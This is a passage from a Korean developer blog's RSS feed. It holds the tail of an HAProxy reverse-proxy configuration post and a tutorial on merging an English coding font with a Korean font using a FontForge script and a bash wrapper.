class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;23&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;80&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_tcp_https&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# balance roundrobin &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;23&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;443&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;check&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http_https&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# balance roundrobin &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;23&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;443&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;none&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# mode http &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;roundrobin&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;23&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;443&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;none&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# mode http &lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# balance roundrobin &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;23&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;443&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;none&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_h2c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# option http-use-htx &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;23&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;8082&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http_h2c&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;option&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;use&lt;/span&gt;-&lt;span class=&quot;n&quot;&gt;htx&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;192&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;168&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;23&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;8082&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2c&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;설정 파일의 문법이 잘못되었는지 확인하려면 다음 명령을 실행한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;haproxy &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; /etc/haproxy/haproxy.cfg &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;haproxy-실행&quot;&gt;haproxy 실행&lt;/h1&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;service haproxy start &lt;span class=&quot;c&quot;&gt;# systemctl start haproxy&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Thu, 28 Mar 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/linux/haproxy</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/linux/haproxy</guid> <category>linux</category> <category>ubuntu</category> <category>haproxy</category> <category>reverse proxy</category> <category>linux</category> </item> <item><title>영문 폰트와 한글 폰트 병합하기.</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;hr /&gt; &lt;h1 id=&quot;개요&quot;&gt;개요&lt;/h1&gt; &lt;p&gt;세상에는 폰트가 정말로 많다. 갬성적인 코딩을 위해 여러가지 느낌있는 폰트를 찾아보면 대부분 외국에서 만든 것이기 때문에 한글을 지원하지 않는 경우가 많다. &lt;br /&gt; 이 경우 한국어 출력 시 OS에 맞는 기본 폰트가 나타나기 때문에, Windows의 경우 대다수는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Clear Gothic (맑은고딕)&lt;/code&gt; 폰트를, &lt;br /&gt; MacOS의 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Apple SD Gothic Neo&lt;/code&gt; (애플 산돌고딕 Neo)를 만나볼 수 있을 것이다.&lt;/p&gt; &lt;p&gt;둥글둥글한 형식의 코딩 폰트를 보다가 딱딱한 한글 폰트를 보면 기분이가 좋지 않고 몰입이 깨진다. &lt;br /&gt; 요새는 두 번째 폰트를 지원하는 프로그램이 많아져서 대다수의 경우에는 이렇게 하지 않아도 되지만, 몇몇 프로그램의 경우 두번째 폰트를 지원하지 않는 경우가 있다. &lt;br /&gt; 따라서 이번에는 이러한 영문 폰트에 한글 폰트 및 Nerd Font를 병합하는 방법에 대하여 알아보려고 한다.&lt;/p&gt; &lt;h1 id=&quot;방법&quot;&gt;방법&lt;/h1&gt; &lt;p&gt;들어가기에 앞서, &lt;br /&gt; 나는 MacOS를 주로 사용하므로 MacOS 기준으로 작성하였다.&lt;/p&gt; &lt;h3 id=&quot;font-forge-다운로드&quot;&gt;Font Forge 다운로드&lt;/h3&gt; &lt;p&gt;먼저 폰트를 병합하는 프로그램인 Font Forge가 설치되어 있어야 한다. &lt;br /&gt; Mac에서는 아래 명렁어로 바로 설치가 가능하다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;brew &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;fontforge brew &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--cask&lt;/span&gt; fontforge brew &lt;span class=&quot;nb&quot;&gt;link &lt;/span&gt;fontforge &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;폰트-병합하기&quot;&gt;폰트 병합하기&lt;/h1&gt; &lt;p&gt;나는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Operator Mono&lt;/code&gt; 폰트에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HakgyoansimDoldam&lt;/code&gt; (학교안심돌담) 폰트를 병합해보려고 한다.&lt;/p&gt; &lt;p&gt;폰트 타입은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;otf&lt;/code&gt; 든 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ttf&lt;/code&gt; 든 상관없이 잘 병합됨을 확인하였다.&lt;/p&gt; &lt;h3 id=&quot;병합할-fontforge-스크립트-작성&quot;&gt;병합할 FontForge 스크립트 작성&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fontmerge.ff&lt;/code&gt; 파일을 생성한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;touch &lt;/span&gt;fontmerge.ff &lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;755 fontmerge.ff &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;생성한 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fontmerge.ff&lt;/code&gt; 파일에 아래 내용을 복사하자.&lt;/p&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;#!/usr/local/bin/fontforge Open($1) SelectAll() ScaleToEm(Strtol($3)) Generate(&quot;1.ttf&quot;) Close() Open($2) SelectAll() ScaleToEm(Strtol($3)) Generate(&quot;2.ttf&quot;) Close() Open(&quot;1.ttf&quot;) MergeFonts(&quot;2.ttf&quot;) Generate($4) Close() &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;스크립트 내용은 아래 블로그를 참조하였다. &lt;a href=&quot;https://180bpm.tistory.com/173&quot;&gt;https://180bpm.tistory.com/173&lt;/a&gt;&lt;/p&gt; &lt;h3 id=&quot;병합-bash-script-작성-font-forge-병합-명령어&quot;&gt;병합 bash script 작성 (font forge 병합 명령어)&lt;/h3&gt; &lt;p&gt;결론부터 말하자면 작성하지 않아도 된다. &lt;br /&gt; 병합 스크립트 작성이 귀찮거나 싫다면 아래 명령어들을 복사해서 실행하자.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;fontforge &lt;span class=&quot;nt&quot;&gt;-lang&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;ff &lt;span class=&quot;nt&quot;&gt;-script&lt;/span&gt; fontmerge.ff &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;영문폰트경로&amp;gt;&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;한글폰트경로&amp;gt;&quot;&lt;/span&gt; 2048 &lt;span class=&quot;s2&quot;&gt;&quot;&amp;lt;결과폰트이름&amp;gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;예시 명령어&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# fontforge -lang=ff -script fontmerge.ff &quot;OperatorMono/OperatorMono-BoldItalic.otf&quot;, &quot;schoolDoldam/HakgyoansimDoldamB.otf&quot; 2048 &quot;result.otf&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;위 명령어를 실행할 것이 아니라 스크립트를 작성해 해결하고 싶다면 아래 내용을 참고한다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;merge_font.sh&lt;/code&gt; 파일을 생성하고 실행권한을 주자.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;touch &lt;/span&gt;merge_font.sh &lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;755 merge_font.sh &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;아래 스크립트를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;merge_font.sh&lt;/code&gt; 파일에 복사하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ENG_FONT&lt;/code&gt; 변수와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KOR_FONT&lt;/code&gt; 변수에 각각 영문 폰트와 한글 폰트의 경로 (상대경로 또는 절대경로 가능) 을 입력하자.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# english font&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;ENG_FONT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;OperatorMono/OperatorMono-BoldItalic.otf&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# korean font&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;KOR_FONT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;schoolDoldam/HakgyoansimDoldamB.otf&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;MERGED_FONT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;mergedfont.otf&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$MERGED_FONT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$MERGED_FONT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi &lt;/span&gt;fontforge &lt;span class=&quot;nt&quot;&gt;-lang&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;ff &lt;span class=&quot;nt&quot;&gt;-script&lt;/span&gt; fontmerge.ff &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ENG_FONT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$KOR_FONT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; 2048 &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$MERGED_FONT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 폰트 머지를 위해 생성한 임시 파일 삭제&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; 1.ttf 2.ttf &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; makedfont &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; ./makedfont/ &lt;span class=&quot;k&quot;&gt;fi &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;basename_font1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;basename&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ENG_FONT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;mv&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$MERGED_FONT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;makedfont/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$basename_font1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;나의 스크립트 및 폰트 파일 경로&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-alhF&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rwxr-xr-x&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;220 3 7 15:04 fontmerge.ff&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rwxr-xr-x&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;585 3 14 17:14 merge_start.sh&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; drwxr-xr-x 12 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;384 3 12 13:46 OperatorMono/ drwxr-xr-x 8 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;256 3 14 16:45 schoolDoldam/ &lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-alhF&lt;/span&gt; ./OperatorMono &lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;34K 3 12 13:46 OperatorMono-Bold.otf &lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;35K 3 12 13:46 OperatorMono-BoldItalic.otf ... &lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-alhF&lt;/span&gt; ./schoolDoldam &lt;span class=&quot;nt&quot;&gt;-rwxr-xr-x&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;1.8M 3 14 16:45 HakgyoansimDoldamB.otf&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rwxr-xr-x&lt;/span&gt; 1 &lt;span class=&quot;nb&quot;&gt;test test &lt;/span&gt;2.8M 3 14 16:45 HakgyoansimDoldamB.ttf&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./merge_start.sh&lt;/code&gt; 를 사용해 스크립트를 실행시키면 된다. &lt;br /&gt; 정상적으로 스크립트를 사용해 머지가 되었다면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makedfont&lt;/code&gt; 디렉토리가 만들어지고 &lt;br /&gt; 해당 디렉토리 안에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mergedfont.otf&lt;/code&gt; 머지된 폰트가 생성될 것이다.&lt;/p&gt; &lt;p&gt;나온 결과물을 설치하고 확인하면 된다.&lt;/p&gt; &lt;h4 id=&quot;참고&quot;&gt;참고&lt;/h4&gt; &lt;p&gt;폰트 파일은 영문 굵은 폰트는 한글 굵은 폰트로, 영문 일반 폰트는 한글 일반 폰트로, 영문 가는 폰트는 한글 가는 폰트로, &lt;br /&gt; 각자의 폰트 굵기에 맞게 병합하는 것을 추천한다. &lt;br /&gt; 참고로 한글 폰트는 기본적으로 폰트 자체에서 기울임꼴 글꼴을 지원하지 않는 경우가 많다.&lt;/p&gt; &lt;p&gt;아쉽지만 한글 폰트를 병합하여 사용할 시에는 고정폭 형식(Monospace)을 사용할 수 없다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OperatorMono-Bold.otf&lt;/code&gt; + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HakgyoansimDoldamB.otf&lt;/code&gt; &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OperatorMono-Medium.otf&lt;/code&gt; + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HakgyoansimDoldamM.otf&lt;/code&gt; &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OperatorMono-Light.otf&lt;/code&gt; + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HakgyoansimDoldamL.otf&lt;/code&gt;&lt;/p&gt; &lt;h1 id=&quot;번외---폰트에-nerd-font-병합하기&quot;&gt;번외 - 폰트에 Nerd Font 병합하기&lt;/h1&gt; 